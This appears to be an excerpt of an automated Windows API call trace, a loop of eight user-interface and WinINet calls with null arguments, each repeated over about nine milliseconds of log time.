	[0079.333] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.333] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.333] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.333] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.333] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.333] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.333] GetMenuCheckMarkDimensions () returned 983055
	[0079.333] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.334] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.334] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.334] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.334] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.334] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.334] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.334] GetMenuCheckMarkDimensions () returned 983055
	[0079.334] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.334] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.334] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.334] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.334] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.334] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.334] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.334] GetMenuCheckMarkDimensions () returned 983055
	[0079.334] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.334] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.334] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.334] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.334] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.334] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.334] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.334] GetMenuCheckMarkDimensions () returned 983055
	[0079.334] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.335] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.335] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.335] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.335] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.335] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.335] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.335] GetMenuCheckMarkDimensions () returned 983055
	[0079.335] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.335] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.335] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.335] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.335] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.335] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.335] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.335] GetMenuCheckMarkDimensions () returned 983055
	[0079.335] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.335] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.335] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.335] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.335] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.335] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.335] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.335] GetMenuCheckMarkDimensions () returned 983055
	[0079.335] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.336] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.336] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.336] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.336] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.336] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.336] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.336] GetMenuCheckMarkDimensions () returned 983055
	[0079.336] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.336] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.336] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.336] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.336] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.336] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.336] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.336] GetMenuCheckMarkDimensions () returned 983055
	[0079.336] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.336] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.336] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.336] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.336] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.336] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.336] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.336] GetMenuCheckMarkDimensions () returned 983055
	[0079.336] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.336] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.336] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.336] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.336] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.336] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.336] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.336] GetMenuCheckMarkDimensions () returned 983055
	[0079.336] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.336] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.336] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.336] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.336] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.337] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.337] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.337] GetMenuCheckMarkDimensions () returned 983055
	[0079.337] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.337] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.337] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.337] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.337] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.337] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.337] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.337] GetMenuCheckMarkDimensions () returned 983055
	[0079.337] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.337] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.337] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.337] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.337] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.337] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.337] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.337] GetMenuCheckMarkDimensions () returned 983055
	[0079.338] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.338] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.338] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.338] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.338] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.338] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.338] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.338] GetMenuCheckMarkDimensions () returned 983055
	[0079.338] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.338] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.338] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.338] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.338] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.338] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.338] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.338] GetMenuCheckMarkDimensions () returned 983055
	[0079.338] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.338] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.338] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.338] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.338] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.338] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.338] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.338] GetMenuCheckMarkDimensions () returned 983055
	[0079.338] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.338] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.338] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.338] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.338] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.338] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.338] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.338] GetMenuCheckMarkDimensions () returned 983055
	[0079.338] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.338] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.338] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.339] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.339] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.339] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.339] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.339] GetMenuCheckMarkDimensions () returned 983055
	[0079.339] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.339] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.339] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.339] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.339] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.339] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.339] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.339] GetMenuCheckMarkDimensions () returned 983055
	[0079.339] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.339] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.339] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.339] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.339] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.339] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.339] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.339] GetMenuCheckMarkDimensions () returned 983055
	[0079.339] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.339] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.339] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.339] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.339] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.339] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.339] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.339] GetMenuCheckMarkDimensions () returned 983055
	[0079.339] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.339] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.339] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.339] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.339] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.339] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.339] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.340] GetMenuCheckMarkDimensions () returned 983055
	[0079.340] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.340] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.340] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.340] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.340] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.340] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.340] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.340] GetMenuCheckMarkDimensions () returned 983055
	[0079.340] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.340] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.340] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.340] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.340] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.340] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.340] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.340] GetMenuCheckMarkDimensions () returned 983055
	[0079.340] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.340] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.340] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.340] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.340] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.340] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.340] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.340] GetMenuCheckMarkDimensions () returned 983055
	[0079.340] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.340] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.340] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.340] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.340] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.340] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.340] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.340] GetMenuCheckMarkDimensions () returned 983055
	[0079.340] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.340] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.340] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.341] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.341] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.341] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.341] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.341] GetMenuCheckMarkDimensions () returned 983055
	[0079.341] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.341] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.341] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.341] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.341] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.341] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.341] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.341] GetMenuCheckMarkDimensions () returned 983055
	[0079.341] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.341] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.341] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.341] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.341] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.341] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.341] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.341] GetMenuCheckMarkDimensions () returned 983055
	[0079.341] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.341] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.341] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.341] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.341] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.341] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.341] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.341] GetMenuCheckMarkDimensions () returned 983055
	[0079.341] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.341] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.341] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.341] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.341] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.341] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.341] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.341] GetMenuCheckMarkDimensions () returned 983055
	[0079.342] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.342] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.342] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
